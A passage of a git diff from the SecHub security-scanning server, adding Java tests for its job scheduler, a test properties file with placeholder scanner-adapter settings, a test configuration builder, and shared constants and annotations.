com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.MessageID; + +public class ScheduleJobLauncherServiceTest { + + private ScheduleJobLauncherService serviceToTest; + + private SecHubJobRepository jobRepository; + private AsyncJobLauncher asyncJobLauncher; + private JobExecution execution; + + private ScheduleSecHubJob secHubJob; + + private UUID uuid; + + private Job job; + + private DomainMessageService eventBus; + + @Before + public void before() throws Exception { + serviceToTest = new ScheduleJobLauncherService(); + + uuid = UUID.randomUUID(); + + jobRepository = mock(SecHubJobRepository.class); + asyncJobLauncher = mock(AsyncJobLauncher.class); + execution = mock(JobExecution.class); + job = mock(Job.class); + eventBus = mock(DomainMessageService.class); + + serviceToTest.jobLauncher = asyncJobLauncher; + serviceToTest.job=job; + serviceToTest.eventBus= eventBus; + + secHubJob = mock(ScheduleSecHubJob.class); + + when(secHubJob.getUUID()).thenReturn(uuid); + when(asyncJobLauncher.run(any(Job.class), any(JobParameters.class))).thenReturn(execution); + } + + @Test + public void executeJob__calls_job_launcher_with_job_uuid_as_parameter() + throws Exception { + /* prepare */ + UUID jobUUID = UUID.randomUUID(); + + ScheduleSecHubJob secHubJob = mock(ScheduleSecHubJob.class); + when(secHubJob.getJsonConfiguration()).thenReturn("jsonConfig"); + when(secHubJob.getUUID()).thenReturn(jobUUID); + when(jobRepository.findNextJobToExecute()).thenReturn(Optional.of(secHubJob)); + + /* execute */ + serviceToTest.executeJob(secHubJob); + + /* test */ + JobParametersBuilder builder = new JobParametersBuilder(); + builder.addString(BATCHPARAM_SECHUB_UUID, jobUUID.toString()); + + verify(asyncJobLauncher).run(any(Job.class), eq(builder.toJobParameters())); + } + + @Test + public void executeJob__sends_domain_message_about_JOB_STARTED() + throws Exception { + /* prepare */ + UUID jobUUID = UUID.randomUUID(); + + ScheduleSecHubJob secHubJob = mock(ScheduleSecHubJob.class); + when(secHubJob.getJsonConfiguration()).thenReturn("jsonConfig"); + when(secHubJob.getUUID()).thenReturn(jobUUID); + when(jobRepository.findNextJobToExecute()).thenReturn(Optional.of(secHubJob)); + + /* execute */ + serviceToTest.executeJob(secHubJob); + + /* test */ + ArgumentCaptor message = ArgumentCaptor.forClass(DomainMessage.class); + verify(eventBus).sendAsynchron(message.capture()); + + assertEquals(MessageID.JOB_STARTED,message.getValue().getMessageId()); + + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobMarkerServiceTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobMarkerServiceTest.java new file mode 100644 index 0000000000..ca271bc672 --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobMarkerServiceTest.java @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; + +public class ScheduleJobMarkerServiceTest { + + private SecHubJobRepository jobRepository; + + private ScheduleSecHubJob secHubJob; + + private UUID uuid; + + private ScheduleJobMarkerService serviceToTest; + + @Before + public void before() throws Exception { + serviceToTest = new ScheduleJobMarkerService(); + + uuid = UUID.randomUUID(); + + jobRepository = mock(SecHubJobRepository.class); + + serviceToTest.jobRepository = jobRepository; + + secHubJob = mock(ScheduleSecHubJob.class); + + when(secHubJob.getUUID()).thenReturn(uuid); + } + + @Test + public void markNextJobExecutedByThisPOD__calls_jobrepository_findNextJobToExecute() throws Exception { + /* prepare */ + ScheduleSecHubJob job = mock(ScheduleSecHubJob.class); + when(job.getUUID()).thenReturn(UUID.randomUUID()); + when(jobRepository.findNextJobToExecute()).thenReturn(Optional.of(job)); + + /* execute */ + serviceToTest.markNextJobExecutedByThisPOD(); + + /* test */ + verify(jobRepository).findNextJobToExecute(); + } + + @Test + public void markNextJobExecutedByThisPOD__updates_execution_state_to_started() throws Exception { + /* prepare */ + ScheduleSecHubJob job = mock(ScheduleSecHubJob.class); + when(job.getUUID()).thenReturn(UUID.randomUUID()); + when(jobRepository.findNextJobToExecute()).thenReturn(Optional.of(job)); + when(jobRepository.save(job)).thenReturn(job); + + /* execute */ + ScheduleSecHubJob result = serviceToTest.markNextJobExecutedByThisPOD(); + + /* test */ + verify(job).setStarted(any()); + verify(job).setExecutionState(eq(ExecutionState.STARTED)); + + assertEquals(job,result); + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerCreateJobServiceSpringBootTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerCreateJobServiceSpringBootTest.java new file mode 100644 index 0000000000..d26d33417d --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerCreateJobServiceSpringBootTest.java @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobFactory; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource(locations = "classpath:application-test.properties") +public class SchedulerCreateJobServiceSpringBootTest { + + private static final String PROJECT_ID = "project1"; + + @Autowired + private SchedulerCreateJobService serviceToTest; + + @MockBean + private SecHubJobFactory jobFactory; + + @MockBean + private SecHubJobRepository jobRepository; + + + private SecHubConfiguration configuration; + private ScheduleSecHubJob nextJob; + + private UUID jobUUID; + + private String project; + + private String projectUUID="projectId1"; + + @Rule + public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void before() { + jobUUID = UUID.randomUUID(); + nextJob = mock(ScheduleSecHubJob.class); + configuration = mock(SecHubConfiguration.class); + project = "projectId"; + + when(nextJob.getProjectId()).thenReturn(project); + + when(nextJob.getUUID()).thenReturn(jobUUID); + when(nextJob.getProjectId()).thenReturn(projectUUID); + when(jobFactory.createJob(eq(configuration))).thenReturn(nextJob); + + /* prepare */ + when(jobRepository.save(nextJob)).thenReturn(nextJob); + when(jobRepository.findNextJobToExecute()).thenReturn(Optional.of(nextJob)); + } + + @Test(expected = NotFoundException.class) // spring boot tests with Rule "ExpectedException" not working. + public void scheduling_a_new_job_to_an_unexisting_project_throws_NOT_FOUND_exception() { + /* execute */ + serviceToTest.createJob("a-project-not-existing", configuration); + } + + @Test(expected = NotFoundException.class) + public void no_access_entry__scheduling_a_configuration__will_throw_not_found_exception() { + /* execute */ + serviceToTest.createJob(PROJECT_ID, configuration); + } + + @Test + public void configuration_having_no_project_gets_project_from_URL() { + /* test (later)*/ + expectedException.expect(NotFoundException.class); + + /* prepare */ + when(jobRepository.save(nextJob)).thenReturn(nextJob); + when(jobRepository.findNextJobToExecute()).thenReturn(Optional.of(nextJob)); + + /* execute */ + serviceToTest.createJob(PROJECT_ID, configuration); + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerGetJobStatusServiceTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerGetJobStatusServiceTest.java new file mode 100644 index 0000000000..357477cbc0 --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerGetJobStatusServiceTest.java @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.daimler.sechub.domain.schedule.access.ScheduleAccessRepository; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobFactory; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.error.NotFoundException; + +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource(locations = "classpath:application-test.properties") +public class SchedulerGetJobStatusServiceTest { + + private static final String PROJECT_ID = "project1"; + + @Autowired + private SchedulerGetJobStatusService serviceToTest; + + @MockBean + private SecHubJobFactory jobFactory; + + @MockBean + private SecHubJobRepository jobRepository; + + @MockBean + private ScheduleAccessRepository projectUserAccessRepository; + + private SecHubConfiguration configuration; + private ScheduleSecHubJob job; + + private UUID jobUUID; + + private String project; + + private String projectUUID="projectId1"; + + @Rule + public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void before() { + jobUUID = UUID.randomUUID(); + job = mock(ScheduleSecHubJob.class); + configuration = mock(SecHubConfiguration.class); + project = "projectId"; + + when(job.getProjectId()).thenReturn(project); + + when(job.getUUID()).thenReturn(jobUUID); + when(job.getProjectId()).thenReturn(projectUUID); + when(jobFactory.createJob(eq(configuration))).thenReturn(job); + } + + @Test(expected = NotFoundException.class) // spring boot tests with Rule "ExpectedException" not working. + public void get_a_job_status_from_an_unexisting_project_throws_NOT_FOUND_exception() { + /* execute */ + UUID jobUUID = UUID.randomUUID(); + when(jobRepository.findById(jobUUID)).thenReturn(Optional.of(mock(ScheduleSecHubJob.class)));// should not be necessary, but to + // prevent dependency to call + // hierachy... we simulate job can be + // found + serviceToTest.getJobStatus("a-project-not-existing", jobUUID); + } + + @Test(expected = NotFoundException.class) // spring boot tests with Rule "ExpectedException" not working. + public void get_a_job_status_from_an_exsting_project_but_no_job_throws_NOT_FOUND_exception() { + /* execute */ + UUID jobUUID = UUID.randomUUID(); + when(jobRepository.findById(jobUUID)).thenReturn(Optional.empty()); // not found... + serviceToTest.getJobStatus(PROJECT_ID, jobUUID); + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerSmokeSpringBootTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerSmokeSpringBootTest.java new file mode 100644 index 0000000000..4402f32111 --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SchedulerSmokeSpringBootTest.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.assertj.core.api.Assertions.*; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +/** + * Test simly starts up spring container and cheks a schedule rest controller can be initiated. So just a smoke test + * @author Albert Tregnaghi + * + */ +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource(locations = "classpath:application-test.properties") +public class SchedulerSmokeSpringBootTest { + + @Autowired + private SchedulerRestController controller; + + @Test + public void contextLoads() throws Exception { + // see https://spring.io/guides/gs/testing-web/ for details about testing with + // spring MVC test + assertThat(controller).isNotNull(); // we just test that we got he controller. Means - the spring container context has been loaded succesfully! + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SecHubJobBatchTriggerServiceTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SecHubJobBatchTriggerServiceTest.java new file mode 100644 index 0000000000..f9bbd25049 --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/SecHubJobBatchTriggerServiceTest.java @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.cluster.ClusterEnvironmentService; + +public class SecHubJobBatchTriggerServiceTest { + + private SchedulerJobBatchTriggerService serviceToTest; + + private ScheduleJobLauncherService launcherService; + private ScheduleJobMarkerService markerService; + private ClusterEnvironmentService environmentService; + + @Before + public void before() throws Exception { + serviceToTest = new SchedulerJobBatchTriggerService(); + + launcherService = mock(ScheduleJobLauncherService.class); + markerService = mock(ScheduleJobMarkerService.class); + environmentService = mock(ClusterEnvironmentService.class); + + serviceToTest.launcherService=launcherService; + serviceToTest.markerService=markerService; + serviceToTest.environmentService=environmentService; + + } + + @Test + public void triggerExecutionOfNextJob__calls_marker_service_markNextJobExecutedByThisPOD() throws Exception { + /* prepare */ + + /* execute */ + serviceToTest.triggerExecutionOfNextJob(); + + /* test */ + verify(markerService).markNextJobExecutedByThisPOD(); + } + + @Test + public void when_marker_service_returns_job_launcher_service_is_called() + throws Exception { + /* prepare */ + ScheduleSecHubJob job = mock(ScheduleSecHubJob.class); + when(markerService.markNextJobExecutedByThisPOD()).thenReturn(job); + + /* execute */ + serviceToTest.triggerExecutionOfNextJob(); + + /* test */ + verify(launcherService).executeJob(job); + } + + @Test + public void when_marker_service_returns_NO_job_launcher_service_is_NOT_called() + throws Exception { + /* prepare */ + when(markerService.markNextJobExecutedByThisPOD()).thenReturn(null); + + /* execute */ + serviceToTest.triggerExecutionOfNextJob(); + + /* test */ + verify(launcherService,never()).executeJob(any()); + } + +} diff --git a/sechub-server/src/test/resources/application-test.properties b/sechub-server/src/test/resources/application-test.properties new file mode 100644 index 0000000000..06a2623a45 --- /dev/null +++ b/sechub-server/src/test/resources/application-test.properties @@ -0,0 +1,91 @@ +# SPDX-License-Identifier: MIT +sechub.config.scheduling.enable=false +# --------------- +# common setup +# --------------- +# use mock profile, so we can do nearly integration tests with +# standard JUNIT + spring without real stuff +# we use h2 for tests , more info about setup can be found at http://www.baeldung.com/spring-testing-separate-data-source +spring.profiles.active=mocked_products,h2,test +sechub.server.baseurl=http://localhost +sechub.storage.sharedvolume.upload.dir=temp + +# create SQL schema on every test suite call into build folder +# so can be used as a template when writing update scripts etc. +# for flyway - unfortunately the tests do not run correctly, with those settings, so we +# must only temporary activate the next 5 lines when necessary: +#spring.jpa.show-sql=true +#spring.jpa.properties.hibernate.format_sql=true +#spring.jpa.properties.javax.persistence.schema-generation.create-source=metadata +#spring.jpa.properties.javax.persistence.schema-generation.scripts.action=create +#spring.jpa.properties.javax.persistence.schema-generation.scripts.create-target=build/test-sql/created.sql + +# always drop and recreate ddl for tests +spring.jpa.hibernate.ddl-auto=create-drop + +# +# Special: For junit tests we do not need this but we test +# ProductionConfigurationSettingsTest.java that in prod server.ssl.enabled is +# true +server.ssl.enabled=false +# --------------------------------- +# Setup test target type strategies +# --------------------------------- +sechub.target.resolve.strategy.uri: intranet-hostname-ends-with:intranet.example.org,intranet.example.com +sechub.target.resolve.strategy.ip: intranet-ip-pattern:192.168.*.* + +sechub.notification.smtp.hostname=mail.example.org +# ------------------ +# Mock initial admin +# ------------------ +sechub.initialadmin.userid=test-user +sechub.initialadmin.email=test-user@example.org + +spring.datasource.initialization-mode=never +# ------------------------------ +# Flyway turned off for testing! +# ------------------------------ +spring.flyway.enabled=false + +# ----------------- +# Mock adapters +# ----------------- +# enable mocked adapters to check if the parameters are as expected +# just a sanity check that parameters are loaded etc. +sechub.adapter.mock.sanitycheck.enabled=true +# --------------- +# netsparker +# --------------- +sechub.adapter.netsparker.userid=netsparkerUserId +sechub.adapter.netsparker.apitoken=netsparkerAPIToken +sechub.adapter.netsparker.policyid=policyId +sechub.adapter.netsparker.baseurl=netsparkerBaseUrl +sechub.adapter.netsparker.licenseid=licenseId + +# --------------- +# checkmarx +# --------------- +sechub.adapter.checkmarx.baseurl=checkmarxBaseURL +sechub.adapter.checkmarx.userid=checkmarxUserId +sechub.adapter.checkmarx.password=checkmarxAPIToken +sechub.adapter.checkmarx.newproject.teamid=checkmarxNewProjectTeamId + +# --------------- +# nessus +# --------------- +sechub.adapter.nessus.intranet.userid=nessusIntranetUserId +sechub.adapter.nessus.internet.userid=nessusInternetUserId +sechub.adapter.nessus.intranet.password=nessusIntranetPassword +sechub.adapter.nessus.internet.password=nessusInternetPassword +sechub.adapter.nessus.defaultpolicyid=nessusDefaultPolicyId +sechub.adapter.nessus.intranet.baseurl=nessusIntranetBaseURL +sechub.adapter.nessus.internet.baseurl=nessusInternetBaseURL +#sechub.adapter.nessus.scanresultcheck.period.minutes:-1= +#sechub.adapter.nessus.scanresultcheck.timeout.minutes:-1= +#sechub.adapter.nessus.trustall:false= +#sechub.adapter.nessus.proxy.hostname:= +#sechub.adapter.nessus.proxy.port:0= +# --------------- +# email +# --------------- +sechub.notification.email.from=sechub@example.org \ No newline at end of file diff --git a/sechub-shared-kernel-testframework/README.md b/sechub-shared-kernel-testframework/README.md new file mode 100644 index 0000000000..e3ed484fd5 --- /dev/null +++ b/sechub-shared-kernel-testframework/README.md @@ -0,0 +1,7 @@ + +README +====== +This project is a test framework for all subprojects needing common test utils for shared kernel parts +So e.g TestSechubConfigurationBuilder can be reused between sechub-schedule and sechub-doc + +Just add this project as testCompile dependency. \ No newline at end of file diff --git a/sechub-shared-kernel-testframework/build.gradle b/sechub-shared-kernel-testframework/build.gradle new file mode 100644 index 0000000000..826fa3bdd0 --- /dev/null +++ b/sechub-shared-kernel-testframework/build.gradle @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + compile project(':sechub-shared-kernel') + compile project(':sechub-testframework') +} + diff --git a/sechub-shared-kernel-testframework/src/main/java/com/daimler/sechub/sharedkernel/configuration/TestSecHubConfigurationBuilder.java b/sechub-shared-kernel-testframework/src/main/java/com/daimler/sechub/sharedkernel/configuration/TestSecHubConfigurationBuilder.java new file mode 100644 index 0000000000..68e10e0767 --- /dev/null +++ b/sechub-shared-kernel-testframework/src/main/java/com/daimler/sechub/sharedkernel/configuration/TestSecHubConfigurationBuilder.java @@ -0,0 +1,130 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import java.net.InetAddress; +import java.net.URI; +import java.net.UnknownHostException; +import java.util.Arrays; + +public class TestSecHubConfigurationBuilder { + + private Data data; + + public static final TestSecHubConfigurationBuilder configureSecHub() { + return new TestSecHubConfigurationBuilder(); + } + + private TestSecHubConfigurationBuilder() { + this.data = new Data(); + } + + public SecHubConfiguration build() { + SecHubConfiguration result = new SecHubConfiguration(); + + result.setApiVersion(data.version); + result.setInfraScan(data.infraConfig); + result.setWebScan(data.webConfig); + result.setProjectId(data.projectId); + result.setCodeScan(data.codeScanConfig); + + data = new Data(); + return result; + } + + private class Data { + private String version; + private SecHubWebScanConfiguration webConfig; + private SecHubInfrastructureScanConfiguration infraConfig; + private SecHubCodeScanConfiguration codeScanConfig; + private String projectId; + } + + public TestSecHubConfigurationBuilder api(String version) { + this.data.version = version; + return this; + } + + public TestWebConfigurationBuilder webConfig() { + return new TestWebConfigurationBuilder(); + } + + public class TestWebConfigurationBuilder{ + private TestWebConfigurationBuilder() { + TestSecHubConfigurationBuilder.this.data.webConfig=new SecHubWebScanConfiguration(); + } + public SecHubConfiguration build() { + return TestSecHubConfigurationBuilder.this.build(); + } + + public TestSecHubConfigurationBuilder and() { + return TestSecHubConfigurationBuilder.this; + } + + public TestWebConfigurationBuilder addURI(String uri) { + TestSecHubConfigurationBuilder.this.data.webConfig.getUris().add(URI.create(uri)); + return this; + } + } + + public TestCodeSCanConfigurationBuilder codeScanConfig() { + return new TestCodeSCanConfigurationBuilder(); + } + + public class TestCodeSCanConfigurationBuilder{ + + private TestCodeSCanConfigurationBuilder() { + TestSecHubConfigurationBuilder.this.data.codeScanConfig=new SecHubCodeScanConfiguration(); + } + public SecHubConfiguration build() { + return TestSecHubConfigurationBuilder.this.build(); + } + + public TestSecHubConfigurationBuilder and() { + return TestSecHubConfigurationBuilder.this; + } + + public TestCodeSCanConfigurationBuilder setFileSystemFolders(String ... folders) { + SecHubFileSystemConfiguration fileSystem = new SecHubFileSystemConfiguration(); + TestSecHubConfigurationBuilder.this.data.codeScanConfig.setFileSystem(fileSystem); + fileSystem.getFolders().addAll(Arrays.asList(folders)); + return this; + } + } + + public TestInfraConfigurationBuilder infraConfig() { + return new TestInfraConfigurationBuilder(); + } + + public class TestInfraConfigurationBuilder{ + private TestInfraConfigurationBuilder() { + TestSecHubConfigurationBuilder.this.data.infraConfig=new SecHubInfrastructureScanConfiguration(); + } + public SecHubConfiguration build() { + return TestSecHubConfigurationBuilder.this.build(); + } + + public TestSecHubConfigurationBuilder and() { + return TestSecHubConfigurationBuilder.this; + } + + public TestInfraConfigurationBuilder addURI(String uri) { + TestSecHubConfigurationBuilder.this.data.infraConfig.getUris().add(URI.create(uri)); + return this; + } + + public TestInfraConfigurationBuilder addIP(String ip) { + try { + TestSecHubConfigurationBuilder.this.data.infraConfig.getIps().add(InetAddress.getByName(ip)); + } catch (UnknownHostException e) { + throw new IllegalStateException("Unknown host - should not hapen in testcase. Seems to be infrastructure problem!",e); + } + return this; + } + } + public TestSecHubConfigurationBuilder projectId(String projectId) { + TestSecHubConfigurationBuilder.this.data.projectId=projectId; + return this; + } + + +} diff --git a/sechub-shared-kernel/build.gradle b/sechub-shared-kernel/build.gradle new file mode 100644 index 0000000000..406999e4aa --- /dev/null +++ b/sechub-shared-kernel/build.gradle @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + testCompile project(':sechub-testframework') + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/APIConstants.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/APIConstants.java new file mode 100644 index 0000000000..549f7bf382 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/APIConstants.java @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; + +/** + * API constants, usable inside rest controllers etc. Be AWARE: its very + * important to start the api constants always with an "/" e.g. "/api/admin/" + * because otherwise spring boot will NOT setup security correct.
    + *
    + * To prevent wrong configuration the + * {@link AbstractAllowSecHubAPISecurityConfiguration} has now a an denyAll + * block to prevent anonymous access because of configuration failures. + * + * @author Albert Tregnaghi + * + */ +public class APIConstants { + + private APIConstants() { + + } + + /** + * API starting with this all is accessible - even anonmyous! + */ + public static final String API_ANONYMOUS = "/api/anonymous/"; + + /** + * API starting with this only admins can access! + */ + public static final String API_ADMINISTRATION = "/api/admin/"; + + /** + * API starting with this is accessible by users for their profile + */ + public static final String API_USER = "/api/user/"; + + /** + * API starting with this is accessible by owners for their profile + */ + public static final String API_OWNER = "/api/owner/"; + + /** + * API starting with this is accessible by users for their projects + */ + public static final String API_PROJECT = "/api/project/"; + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/MustBeDocumented.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/MustBeDocumented.java new file mode 100644 index 0000000000..ced0de71c5 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/MustBeDocumented.java @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * A marker interface for code parts which HAS TO BE documented. E.g. when + * having a special setup attribute necessary to be described in documented for + * correct application startup.

    + * + * Following counter parts in conjunction with this annotation will result in automated documentation: + *
      + *
    • org.springframework.beans.annotation.Value
    • will be settled in gen_systemproperties.adoc + *
    • org.springframework.scheduling.annotation.Scheduled
    • will be found in gen_scheduling.adoc + *
    + * Other parts are currently only a marker. Just implement more, to have more documentation generated... + * @author Albert Tregnaghi + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface MustBeDocumented{ + + /** + * If this scope is used, it shall be replaced in generated output by lower cased class name of class where + * annotation is used + */ + String SCOPE_USE_DEFINED_CLASSNAME_LOWERCASED = "definingClassNameToLowercase"; + + /** + * A description what the documented part is used for + * @return description + */ + String value() default ""; + + /** + * The scope name for the documentation - when not set {@link #SCOPE_USE_DEFINED_CLASSNAME_LOWERCASED} is used as scope name. + * Thus information can be used for generating documentation and separate groups etc. + * @return scope + */ + String scope() default SCOPE_USE_DEFINED_CLASSNAME_LOWERCASED; + + /** + * When true the information of this annotation must be handled secret. Interesting for generation + * @return true when secret + */ + boolean secret() default false; + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/MustBeKeptStable.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/MustBeKeptStable.java new file mode 100644 index 0000000000..c3338f7031 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/MustBeKeptStable.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +/** + * Marker interface for parts given to user as official API, being machine readable and so + * must be kept stable. So changes must be backward compatible! + * @author Albert Tregnaghi + * + */ +public @interface MustBeKeptStable { + + /** + * A description why this must be kept stable + * @return description + */ + String value() default ""; +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/Profiles.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/Profiles.java new file mode 100644 index 0000000000..db6b69ebbe --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/Profiles.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +public class Profiles { + + private Profiles() { + } + + public static final String LOCALSERVER="localserver"; + + public static final String DEV="dev"; + public static final String PROD="prod"; + public static final String TEST="test"; + /** + * H2 Database profile + */ + public static final String H2="h2"; + + /** + * PostgreSQL Database profile + */ + public static final String POSTGRES="postgres"; + + public static final String DEMOMODE="demomode"; + + public static final String MOCKED_NOTIFICATIONS="mocked_notifications"; + + /** + * Special profile for integration tests (see project "sechub-integrationtest") + */ + public static final String INTEGRATIONTEST="integrationtest"; +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/RoleConstants.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/RoleConstants.java new file mode 100644 index 0000000000..8e863bea8d --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/RoleConstants.java @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +/** + * Never change the string content of identifiers! Will be used for persistence + * and also inside code! + * + * @author Albert Tregnaghi + * + */ +public class RoleConstants { + /* + * Never change the string content of identifiers! Will be used for persistence + * and also inside code! + */ + public static final String ROLE_SUPERADMIN = "ROLE_SUPERADMIN"; + + public static final String ROLE_USER = "ROLE_USER"; + + public static final String ROLE_OWNER = "ROLE_OWNER"; + + private RoleConstants() { + } + + public static final boolean isSuperAdminRole(String role) { + return ROLE_SUPERADMIN.equals(role); + } + + public static final boolean isUserRole(String role) { + return ROLE_USER.equals(role); + } + + public static final boolean isOwnerRole(String role) { + return ROLE_OWNER.equals(role); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/Step.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/Step.java new file mode 100644 index 0000000000..313d117f0d --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/Step.java @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * A step defines something which is done. A step has always a number and maybe knows the next step (number). + * The annoation alone makes not much sense - it shall be used in other annotations as a parameter! It also has description field an a name + * @author Albert Tregnaghi + * + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.METHOD) +public @interface Step{ + + /** + * Using this as the only next step will mark the current step as terminated without having a next one. + */ + public static final int NO_NEXT_STEP=0; + + /** + * Define the step number. Interesting + * when there are multiple methods annotated with an use case + * annotation. + *

    + * Value must be >0 . The order with the lowest + * value is the first one. + * + * @return order value + */ + int number(); + + /** + * Define the numbers of the next steps to follow up. if there are more than one step defined, this means the step execution is branched. + * Per default no next steps are defined, so natural ordering is used and if there is another step with an higher number this will be assumed to be + * the next one. If the only entry inside this array is ( {@link Step#NO_NEXT_STEP}, this is meant to have the step ends here without calling another step! + * @return + */ + int[] next() default {}; + + /** + * A description what the usecase step is for. Should be done in asciidoctor syntax. + * If the descriptions ends with ".adoc" its assumed that this is a file name instead! + *

    + * For example:
    description="usecases/user/signupUser_step1.adoc"
